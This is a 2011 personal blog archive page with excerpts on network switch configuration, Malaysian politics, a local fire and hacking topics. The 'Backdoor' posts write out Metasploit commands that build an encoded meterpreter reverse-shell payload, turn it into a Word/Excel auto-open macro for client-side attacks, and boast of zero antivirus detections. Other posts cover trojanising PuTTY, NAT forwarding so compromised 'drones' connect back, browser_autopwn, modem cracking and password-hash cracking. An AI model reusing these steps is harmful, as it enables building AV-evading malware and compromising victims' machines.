Posts

Showing posts from 2011

Changing Skill Set from Cisco to Allied Telesis( The Story Begin)

After 10 years playing around with Cisco now I admit that I must moving forward in cost reduction equipment that my company bought.Even its really hard to accept as I very familiar with cisco command now I have to learn a new product that my company bought,Its so call Allied Telesis. Basically it just a switches but the different CLI make me hard to learn.I what so ever have to learn step by step from the beginning.Dammit...!! Just like an alien to me for this product..lol!Anyhow tommorow I will started to configure some ATI model ( AT-8000s ) switches.Hopefully its will works as I crack up my head for this bugger ass switches...No heart felling Allied Telesis :P As for the starter, below are some basic command to configure VLANs at ATI switch ( AT-8000s ) Show All running config ================== show startup-config Show Interface ============== sh interfaces status ethernet Check on spanning tree status ============================= show spanning-tree How to config...

How to connect back your Drone if your network have Natting(Port Forward Cisco Way)

1)Must configure at Attacker Router =================================== Rouer>en Router# Router#config t # To forward port 3389 TCP to the computer that had the 192.168.1.24 ip address you would do the following. Router(config)# Router(config)#ip nat inside source static tcp 172.16.2.60 3389 interface fa0/0 3389 Router(config)#end Router# #Make sure to Write Memory to make it persistent Router#wr mem ================================ 2)Cannot Remove the Nat config that being done ( How to ) ====================================================== Error ------ Router(config)#no ip nat inside source static tcp 172.16.2.60 3389 interface fa0/0 3389 %Static entry in use, cannot remove Solution -------- Better to kill the jobs created by Metasploit Payload : jobs Output(Jobs) ----------- Id Name -- ---- 135 Auxiliary: server/browser_autopwn Payload : kill 135 [*] Cleaning up exploits... Then on Router Part. ------------------- Router#clear ip...

Undi Lah! Vote Now !

Image

Aircrack-Ng Fix Channel Mode : -1 on NattyNarwhal ( Ubuntu 11.04) (Solution)

After a few months I finally resolved my Fix Channel Mode : -1 on Aircrack-ng with Ubuntu 11.04. As far I concern most of the time i been using (Monitor Mode) mon0 as the interface but actually we can set and used wlan0 in monitor mode as well. Sorry I bit slow in this resolution even this might be resolved by others long time ago.But its keep bugging me to find a solution for it. Below are the step taken : 1) If you already enable mon0 kindly turn it off - airmon-ng stop wlan0 / mon0 2) After that you need to follow this instruction : a) ifconfig wlan0 down b) iwconfig wlan0 mode managed c) ifconfig wlan0 up d) iwconfig wlan0 channel (Channel of the Victim AP) e) ifconfig wlan0 down f) iwconfig wlan0 mode monitor g) ifconfig wlan0 up 3) You may skip ( a / b ) but better to do it in-active mode.

Who Said Bersih 2.0 Rally Just for MALAY's..See YourSelf!!!

Image
Courtesy Of MalaysiaKini

Reverse Tunnel for Windows Using Freecap with Putty.

Image
INTRODUCTION This document will cover on how to tunnel using Freecap and Putty. Download Link: Freecap Putty Putty Configuration Added the forwarding port Open the connection Freecap Configuration Changing FreeCap proxy settings Adding Program inside FreeCap Testing the tunnel Credit to Author Pieth

Come and SUPPORT BERSIH 2.0 !!!!

Image
Click HERE for BERSIH OFFICIAL WEBSITE We Are All In Yellow!!

(Backdoor Part 3)How to Convert *.EXE Payload into *.VBS Payload

This is the way on how I embedded it. root@LM:/opt/metasploit3/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=10.211.55.162 LPORT=8080 R | ./msfencode -t exe -e x86/shikata_ga_nai X > payload.exe [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) root@LM:/opt/metasploit3/msf# root@LM:/opt/metasploit3/msf3# mv payload.exe tools/ root@LM:/opt/metasploit3/msf3/tools# ruby exe2vba.rb payload.exe payload.vbs [*] Converted 73802 bytes of EXE into a VBA script #payload.vbs Now open your MS WORD/EXECL and perform this following step. In Word or Excel 2003, go to Tools, Macros, Visual Basic Editor, if you’re using Word/Excel 2007, go to View Macros, then place a name like “lancit” and select “create”. It's will pop-up a visual basic editor and paste the output of the payload.vbs and safe it.Put any word you in your actual word doc itself.The purpose is for the client-side-attack. The Output is like this : Sub Auto_open() . . . . . . En...

(Backdoor Part 2)At last..Payload CANT BE DETECTED..!!

Why its cant be detected,where at first I encode it with *.exe then I manipulate it using ruby to be embedded inside *.vbs extension and below is the result from virus total. File name:payload.vbs Submission date:2011-05-23 17:32:43 (UTC) Current status:finished Result:0/ 42 (0.0%) Additional information MD5 : 8e54f3b36507c7c3f4a80ee336e367ae SHA1 : ed8ba524a09494dcd7f86dbe5859339706264911 SHA256: 3ff926d2c6dfcee6443de3f0f0916a5ce1d1ccebe6f55399fcb8118758fc041d ssdeep: 6144:kgwFOmxCAB1vR5CGikL/xz+fk+8yXRruNG63b/IjRuePX7k49TQ7rBlLRc3aT+ch:vwEmw AvvR5CbS/9R+86RruNbLgduePXI File size : 297145 bytes First seen: 2011-05-23 17:32:43 Last seen : 2011-05-23 17:32:43 TrID: Unknown! sigcheck: publisher....: n/a copyright....: n/a product......: n/a description..: n/a original name: n/a internal name: n/a file version.: n/a comments.....: n/a signers......: - signing date.: - verified.....: Unsigned

(Backdoor Part 1)Not A Successful Embedded PAYLOAD in Putty. But close Enough.. :D

Hi Guys, Tonight I manage to embedded PAYLOAD inside putty and according to VirusTotal I manage to be detected (As Below Result). File name:putty01.exe Result:18/ 42 (42.9%) The AV that detected are : AntiVir 7.11.8.89 2011.05.21 TR/Crypt.XPACK.Gen Avast 4.8.1351.0 2011.05.22 Win32:Vykuk Avast5 5.0.677.0 2011.05.22 Win32:Vykuk BitDefender 7.2 2011.05.22 Backdoor.Shell.AC CAT-QuickHeal 11.00 2011.05.22 (Suspicious) - DNAScan Commtouch 5.3.2.6 2011.05.22 W32/Swrort.D Comodo 8797 2011.05.22 Heur.Corrupt.PE DrWeb 5.0.2.03300 2011.05.22 Trojan.Packed.196 eSafe 7.0.17.0 2011.05.22 Suspicious File F-Prot 4.6.2.117 2011.05.22 W32/Swrort.D F-Secure 9.0.16440.0 2011.05.22 Backdoor.Shell.AC GData 22 2011.05.22 Backdoor.Shell.AC Microsoft 1.6903 2011.05.22 Trojan:Win32/Swrort.A NOD32 6142 2011.05.22 a variant of Win32/Rozena.AG Norman 6.07.07 2011.05.22 W32/Swrort.A nProtect 2011-05-22.01 2011.05.22 Backdoor/W32.Shell.458752 Sophos 4.65.0 ...

What is SSH and How to configure a SSH Reverse Tunnel

A simple Explanation of SSH. Secure SHell Connectivity tools for secure communications over the internet. SSH is a replacement for:telnet & rlogin.All communication is encrypted. Purpose Common used of SSH: 1.You want to access a web interface that lies behind a firewall 2.You want to secure your communications when you are in a public WLAN Step Take(By Problem) ========= 1.Problem: the server you want to access, can only be reached via VPN Solution: create a reverse tunnel Login to your server over your VPN ssh -R 9995:localhost:22 your.ssh-server.net if you are logged in on your.ssh-server.net you can now access the remote server without vpn: ssh -p 9995 localhost 2.Forward all your traffic through a tunnel Connet to your server at first. ssh -D 8888 your.ssh-server.net Define a SOCKS-Proxy in your Browser settings with host '127.0.0.1' and port '8888' Now all your traffic seems to come from that host! Enjoy!

TAHNIAH PR SARAWAK!

Syabas di ucapkan di atas percaturan di PRN Sarawak 2011 ini.Sekalung Tahniah buat Parti DAP & Keadilan.Tidak dilupakan buat PAS yang banyak membantu jentera PR di Sarawak.Walapun anda kalah tak bermakna ia berhenti disitu..Angin perubahan sudah berlaku di Sarawak. Teruskan Semangat Juang Anda. Takbir!! Salam Reformasi.. Pretorians

A Very first Cracking into P1 Modem

Image
This is the 1st time im cracking into the P1 Modem.I thought I cant but..walah...its got a clear view.. hehehe...So P1 customer beware of this vulnerability.

People Power ..! Anda Rakyat ..Anda Punya Kuasa..

Image
See It...Saksikanlah..

Kebakaran Di Kajang

Image
Kebakaran berlaku pada hari Sabtu 22/01/11 pukul 6.00pm. Tiga jentera bomba dan satu bomba sukarelawan berada ditempat kejadian.Alhamdullilah,api berjaya dipadamkan oleh pihak bomba 15-20 minit kemudian.Pihak bomba bertindak pantas dan saya amat memuji pihak bomba malaysia kerana dapat memadamkan kebakaran tersebut. Cuma saya tidak puas hati ketiadan pili bomba berhampiran kawasan tersebut menyebabkan kehadiran jentera bomba ketiga yang membawa bekalan air untuk memadamkan kebakaran.Oleh itu diharap pihak bomba dan jabatan bekalan air selangor dapat menyediakan pili bomba tersebut di Kajang Apa pun tahniah buat pihak bomba dan alhamdulilah mangsa kebakaran terselamat.

Ophcrack...Hack your Windows Hash

Image
What is ophcrack? Ophcrack is a free Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a Graphical User Interface and runs on multiple platforms. Click HERE to Download. For Ubuntu User also can you ( apt-get install ophcrack ) How to Install and run It. a)First step This step is optional but will speed up the cracking process. Run ophcrack and set the number of threads under the Preferences tab to the number of cores of the computer running ophcrack plus one.For example, for an old processor set the number of threads to 2, for a Core 2 Duo to 3 and for a Core 2 Quad to 5. If you change this value, you have to exit ophcrack and to restart it in order to save the change. If you don't exit and restart, the new number of threads will not be taken into account by the program. b)Second step This step is mandatory. Load hashes using the Load button. You can ...

SELANGOR DARUL EHSAN

Even I am from Perak,but im living in Selangor for almost 10 years.I like to live here with my families.I love Selangor State under PAKATAN RAKYAT Government.I can see there is a lot of changers under the ruler of PAKATAN RAKYAT such as new small stalls for people to sell such as Frieds Bananas (Goreng Pisang),Nasi Lemak and etc..For me its such a good improvement and make the place more organizable.Just a slight traffic jams at Kajang town but that happens until now.Its unavoidable as Kajang Town raise as bigger town rapidly. Also near my residence, the long time River now are properly rebuild and no longer having a small landslide near it.That i wish a long time ago...thank for making it and it look nicer and also got a lots of fish..hehehe.. By the way ..Near the famous Kajang Satay the old time Stadium some part are converted to play ground and I love the initiative of the state government to promote family relationship come with dining at the same time at Kajang Hj Samuri Sata...

Twinkle : Free Sip Softphone Application For Linux

Image
Twinkle is a softphone for your voice over IP and instant messaging communcations using the SIP protocol. You can use it for direct IP phone to IP phone communication or in a network using a SIP proxy to route your calls and messages. Click Here For Link to Twinkle website I Just downloaded it last night as my Phone suddenly dont have coverage.Damn...! Thank to SIP :P

FREE ONLINE lookup-malicious-websites!

Click Link for list of Website scanner.

Bandwidth Monitoring Tools

Bandwidth in computer networking refers to the data rate supported by a network connection or interface. One most commonly expresses bandwidth in terms of bits per second (bps). The term comes from the field of electrical engineering, where bandwidth represents the total distance or range between the highest and lowest signals on the communication channel (band). Bandwidth represents the capacity of the connection. The greater the capacity, the more likely that greater performance will follow, though overall performance also depends on other factors, such as latency. Bandwidthd BandwidthD tracks usage of TCP/IP network subnets and builds html files with graphs to display utilization. Charts are built by individual IPs, and by default display utilization over 2 day, 8 day, 40 day, and 400 day periods. Furthermore, each ip address’s utilization can be logged out at intervals of 3.3 minutes, 10 minutes, 1 hour or 12 hours in cdf format, or to a backend database server. HTTP, TCP, UD...